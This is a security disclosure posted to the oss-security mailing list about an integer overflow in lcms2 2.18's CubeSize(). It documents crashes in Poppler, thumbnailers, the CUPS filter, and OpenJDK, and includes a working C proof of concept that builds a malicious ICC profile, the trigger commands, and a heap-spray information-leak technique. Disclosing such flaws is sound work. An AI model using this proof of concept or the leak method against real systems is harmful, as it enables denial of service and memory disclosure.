oss-sec mailing list archives

lcms2 <= 2.18 CubeSize() integer overflow: stock Ubuntu 24.04 Poppler / evince-thumbnailer / OpenJDK crashers (different triggers), no CVE


From: Abhinav Agarwal <abhinavagarwal1996 () gmail com>
Date: Fri, 17 Apr 2026 14:28:14 -0700

A 992-byte PDF crashes a bunch of stock Ubuntu 24.04 consumers:
evince-thumbnailer, Poppler (pdftoppm / pdftocairo / pdfimages),
the cups-filters PDF-to-raster print filter, Okular, and GIMP's
PDF plug-in all segfault inside liblcms2. OpenJDK 21 on Ubuntu
crashes too, and Windows Temurin 21.0.9 crashes in its bundled
lcms.dll (3/3 independent runs). There's also a coarse seed-
correlated heap-read primitive on Linux glibc with ASLR off - a
real CWE-200 channel, though not a generic arbitrary read. Upstream
fixed it on master in February/March but hasn't cut a release, no
advisory, no CVE. The GHSA I filed was closed without a reply.
Looking for a CVE and for distro attention.

Full write-up: https://abhinavagarwal07.github.io/posts/lcms2-cubesize-overflow/

Reachability (Ubuntu 24.04 LTS stock, liblcms2-2 2.14-2build1; Windows
Server 2022 with Temurin 21.0.9)
--------------------------------------------------------------------------

SEGV, no local code changes:

  * tumblerd (D-Bus auto-activated thumbnail service). tumblerd is
    the freedesktop thumbnail daemon that ships as the default on
    Xfce and is available on GNOME as a fallback;
    its bundled tumbler-poppler-thumbnailer.so plugin loads
    libpoppler + liblcms2 directly into the daemon process. A
    single `dbus-send` "Queue" call with the PDF's URI is enough:
    tumblerd was not running beforehand and wasn't on $PATH, but
    D-Bus auto-activated the service on the Queue call, the service
    pulled the PDF, and the daemon SIGSEGV'd in liblcms2.so.2.0.14.
    Reproduced 4/4, with kernel `segfault ... in liblcms2.so.2.0.14`
    and apport records. This is the same D-Bus call that a file
    manager issues when a directory is opened, so the real-world
    shape is "open a folder containing the PDF, the system's
    thumbnail daemon dies."

    Direct evince-thumbnailer CLI (`evince-thumbnailer -s 200
    poc.pdf out.jpg`) crashes the same way (SEGV at
    liblcms2.so.2.0.14+0xb503, Eval4Inputs+643, cmsintrp.c:909).

SHA256 (poc_iccbased_5ch.pdf):
5c328a4362185c6dca2d6cae13c74ed456889798220f3f16e840449648121b55

  * Poppler: pdftoppm, pdftocairo, pdfimages -list. Same 992-byte PDF
    with a 1x1 image XObject using /ColorSpace [/ICCBased 5 0 R].
    Poppler warns on N>4 and does not abort; goes on to call
    cmsCreateTransform(). Same crash site.

  * Okular 4:23.08.5 (xvfb-run). SEGV via
    okularGenerator_poppler.so -> libpoppler-qt5 -> lcms2. Kernel:
    `Okular::PixmapG[PID]: segfault ... in liblcms2.so.2.0.14[0xb503]`,
    Eval4Inputs+643. Core file + gdb backtrace captured.

  * cups-filters pdftoraster 2.0.0-0ubuntu4.1. This is the CUPS
    PDF-to-raster filter. It lives at /usr/lib/cups/filter/pdftoraster
    rather than on $PATH, so `which pdftoraster` misses it - invoke
    it the way CUPS does: `/usr/lib/cups/filter/pdftoraster 1 root
    "" 1 "" < poc.pdf`. Kernel: `pdftoraster[PID]: segfault ... in
    liblcms2.so.2.0.14[0xb503]`. Core + gdb backtrace captured in
    the primary-evidence bundle.

  * GIMP 2.10.36-3 file-pdf-load plug-in (under xvfb-run, headless
    batch mode). The plug-in subprocess SIGSEGVs. GIMP installs
    its own signal handler, so the usual kernel dmesg line doesn't
    appear, but strace catches SIGSEGV{si_code=SEGV_ACCERR} at
    fault time, and the frame-by-frame proof comes from running
    the same PDF through evince-thumbnailer under gdb - identical
    poppler + lcms2 library chain.

  * LibreOffice import: inconsistent enough that I'd treat it as a
    secondary target rather than cite it as confirmed. On the
    authoritative fresh-VM run under script(1), LO rejected the PDF
    at the load stage before ever calling into lcms2. On a separate
    VM earlier, xpdfimport crashed with a matching dmesg line. Both
    outcomes reproduce; I can't point at a single reliable command
    that crashes LO the way the other rows do.

  * Flask+Docker PDF thumbnailer spawning pdftoppm returns HTTP 500
    (exit_code:-11) per upload. Same shape as any Poppler-backed
    webmail preview, DMS thumbnailer, or CI artifact renderer.

  * OpenJDK 21 on Ubuntu. ICC_Profile.getInstance() +
    ICC_ColorSpace.toRGB(). SEGV in system liblcms2.so.2. Confirmed
    with both the 18 MB 7CLR profile and a 4,819-byte 5CLR variant
    (JdkPoc5.java, input array sized via getNumComponents()).

  * OpenJDK 21 Temurin 21.0.9 on Windows Server 2022.
    EXCEPTION_ACCESS_VIOLATION in lcms.dll+0x9fd2, 86-304 ms, 3/3
    runs. Reproduced on two independent Azure VM instances. Windows
    JDK bundles lcms.dll (not system-linked); Azure
    WindowsServer:2022-datacenter-azure-edition images ship Temurin
    21.0.9 pre-installed.

  * transicc -l (lcms2's own bundled utility). 4,819-byte device-link
    profile. SEGV, exit 139.

  * Python ctypes, Rust lcms2 crate 5.6. Direct calls to
    cmsCreateTransform with TYPE_CMYK5_8. SEGV.

Paths that did not reproduce in my tests: Ghostscript, ImageMagick,
tificc, jpgicc, Pillow ImageCms, libvips 8.15, Inkscape, Node.js
@kittl/little-cms. See the write-up for per-consumer detail.


Bug (one paragraph)
-------------------

src/cmslut.c:461, function CubeSize(). Check-after-multiply on a
uint32 accumulator: `rv *= dim` wraps silently before the guard
`rv > UINT_MAX / dim` runs. Crafted CLUT dims where the product
exceeds 2^32 but wraps to a small value (e.g. [61,7,161,245,255]
wraps to 1,529 from a true product of ~4.3e9) pass every guard.
cmsStageAllocCLut16bitGranular() undersizes the CLUT buffer (~9 KB
instead of ~10 GB of nodes); the interpolator's opta[] strides are
computed from the real dims and index past Tab.T[] during transform
construction (OptimizeByResampling -> cmsStageSampleCLut16bit) or
during cmsDoTransform. CWE-190 causes CWE-125.


Fix status
----------

File:    src/cmslut.c
Affects: all released versions through lcms2 2.18
Fixed on master (unreleased), no CVE, no advisory:
  https://github.com/mm2/Little-CMS/commit/da6110b  (widen rv to uint64)
  https://github.com/mm2/Little-CMS/commit/e0641b1  (guard before multiply)


Affected
--------

Any distro shipping lcms2 <= 2.18:
  Ubuntu 24.04 LTS    liblcms2-2 2.14-2build1  (validated)
  Debian bookworm     liblcms2-2 2.16-2
  Fedora              lcms2 2.16
  Alpine edge         lcms2 2.17-r0
  Homebrew            little-cms2 2.18        (validated)

JDK-bundled lcms: Temurin 21.0.9 on Windows confirmed vulnerable via
its bundled lcms.dll (3/3 runs, EXCEPTION_ACCESS_VIOLATION in
lcms.dll+0x9fd2). On Ubuntu 24.04, OpenJDK 21 uses the SYSTEM
liblcms2.so.2, so patching liblcms2-2 fixes both the JDK and Poppler
paths on that platform. Other mainstream JDK distributions (Oracle,
Corretto, Zulu, Microsoft OpenJDK) commonly bundle their own lcms2
source tree; patch status is per-vendor.


Minimal C reproducer (stock Ubuntu 24.04)
-----------------------------------------

    sudo apt install liblcms2-dev gcc
    cat > poc.c <<'EOF'
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <lcms2.h>
    static void be32(unsigned char*p,unsigned
v){p[0]=v>>24;p[1]=v>>16;p[2]=v>>8;p[3]=v;}
    int main(void){
        const int N = 4587, tag = 32+36+20+N, tot = 128+4+12+tag;
        unsigned char *b = calloc(1,tot);
        be32(b,tot); b[8]=4; b[9]=0x30;
        memcpy(b+12,"scnr",4); memcpy(b+16,"5CLR",4); memcpy(b+20,"Lab ",4);
        memcpy(b+36,"acsp",4);
        be32(b+68,63190); be32(b+72,65536); be32(b+76,54061);
        be32(b+128,1); memcpy(b+132,"A2B0",4); be32(b+136,144); be32(b+140,tag);
        unsigned char *t = b+144;
        memcpy(t,"mAB ",4); t[8]=5; t[9]=3;
        be32(t+12,32); be32(t+24,68);
        for (int i=0;i<3;i++) memcpy(t+32+i*12,"curv",4);
        unsigned char g[] = {61,7,161,245,255};
        memcpy(t+68,g,5); t[68+16]=1;
        cmsHPROFILE h = cmsOpenProfileFromMem(b,tot);
        cmsHPROFILE s = cmsCreate_sRGBProfile();
        cmsCreateTransform(h, TYPE_CMYK5_8, s, TYPE_RGB_8, 0, 0);  // SEGV
        return 0;
    }
    EOF
    # ASAN (clean OOB frame):
    gcc -fsanitize=address -g -o poc poc.c -llcms2 -lm && ./poc

    # Without ASAN (matches production behavior):
    gcc -o poc_plain poc.c -llcms2 -lm && ./poc_plain; echo "exit=$?"
    # exit=139 (SIGSEGV)

Python, Rust, Java, PDF, and device-link variants build equivalently.

CVSS 3.1
--------

  Availability only (UI:R):
    AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5 (Medium)

  Availability only, server-side renderer (UI:N):
    AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High)

  With demonstrated info disclosure, UI:R:
    AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H = 8.1 (High)

  Same, UI:N (any headless Poppler-backed render worker fits this):
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H = 9.1 (Critical)

I don't have a write primitive. I looked at PatchLUT in
cmsopt.c:632 as a possible mirror of the read side, but the math
doesn't reach a signed-int wrap.


Information disclosure (CWE-200)
--------------------------------

Coarse but real. On Ubuntu 24.04 with glibc's default allocator and
ASLR off (setarch -R), the first output byte from cmsDoTransform
tracks a pre-run heap-seed byte for specific inputs - so this is a
seed-correlated leak of memory below the CLUT allocation. It isn't
an arbitrary-heap-read: the first output byte isn't a raw heap byte,
it's LinearInterp'd through the sRGB pipeline, so bytes come back
with some blur. The reliable window on the 5CLR profile is axis 3's
[-365 KB, -1.5 KB] offsets below the CLUT allocation.

Two small tricks in cmsintrp.c make this work:

  * EVAL_FNS(N,NM) short-circuits the far-corner read when
    Input[i] == 0xFFFFU. With 8-bit input that's byte 0xFF, so
    setting 4 of 5 axes to 0xFF collapses the usual 2^5=32 corner
    reads down to 2.

  * opta[NM] is uint32; opta[NM] * k0 is computed as uint32 and
    wraps mod 2^32. The wrapped value then goes into int K0, and
    anything above 2^31 reinterprets as a large negative int. So
    LutTable + K0 ends up reading below the CLUT allocation, in
    heap we've just sprayed.

Axis 3 (opta[1] = 765) gives offsets of -1.5 KB to -365 KB, which
a 260 MB malloc-spray covers comfortably.

Evidence (16 sampled seed bytes spanning 0x00..0xFF: 0x00, 0x11,
0x22, ..., 0xEE, 0xFF):

    seed=0xAA  axis=3 in=0xd9  out=aa3b53   (byte[0] = seed)
    seed=0xAA  axis=3 in=0xf5  out=add800   (byte[0] ~ seed)
    seed=0xCC  axis=3 in=0xd9  out=e32b45   (byte[0] tracks seed)
    seed=0xCC  axis=3 in=0xf5  out=ebe300   (byte[0] tracks seed)

    seed=0xAA  axis=3 in=0xea  out=005f91   (control, in-bounds)
    seed=0xCC  axis=3 in=0xea  out=005f91   (same)

Control input (0xea, in-bounds) produces byte-identical output across
all 16 seeds; OOB inputs (0xd9, 0xf4, 0xf5) produce outputs whose
first byte tracks the heap seed.

POC (`infoleak_linux_v3.c`) and the 16-seed-sweep logs on request.
Caveats: ASLR must be off and glibc's default allocator is
assumed. Axis 3 is the reliable surface; axes 0-2 fall too far out
of bounds without MAP_FIXED reservations or multi-GB sprays. The
primitive is seed-correlated, not arbitrary-read.


Timeline
--------

  2010-10      CubeSize() check-after-multiply pattern introduced.
  2026-02-19   Fix 1: da6110b.
  2026-03-12   Fix 2: e0641b1.
  2026-04-13   GHSA-4xp6-rcgg-m9qq filed (private advisory).
  2026-04-14   MITRE CVE request filed (CVE Request 2025002).
                Submitted with the evidence that existed at the time.
  2026-04-16   Asked the maintainer on the GHSA whether he'd triage,
               told him I'd publish otherwise.
  2026-04-17   GHSA closed without engagement. Public disclosure


References
----------

  Vulnerable source (lcms2 2.18):
    https://github.com/mm2/Little-CMS/blob/lcms2.18/src/cmslut.c#L461
  Prior same-codebase CVEs: CVE-2018-16435, CVE-2016-10165.
  CWEs: CWE-190, CWE-125.
  Write-up + per-consumer evidence:
    https://abhinavagarwal07.github.io/posts/lcms2-cubesize-overflow/

-- Abhinav Agarwal


Current thread: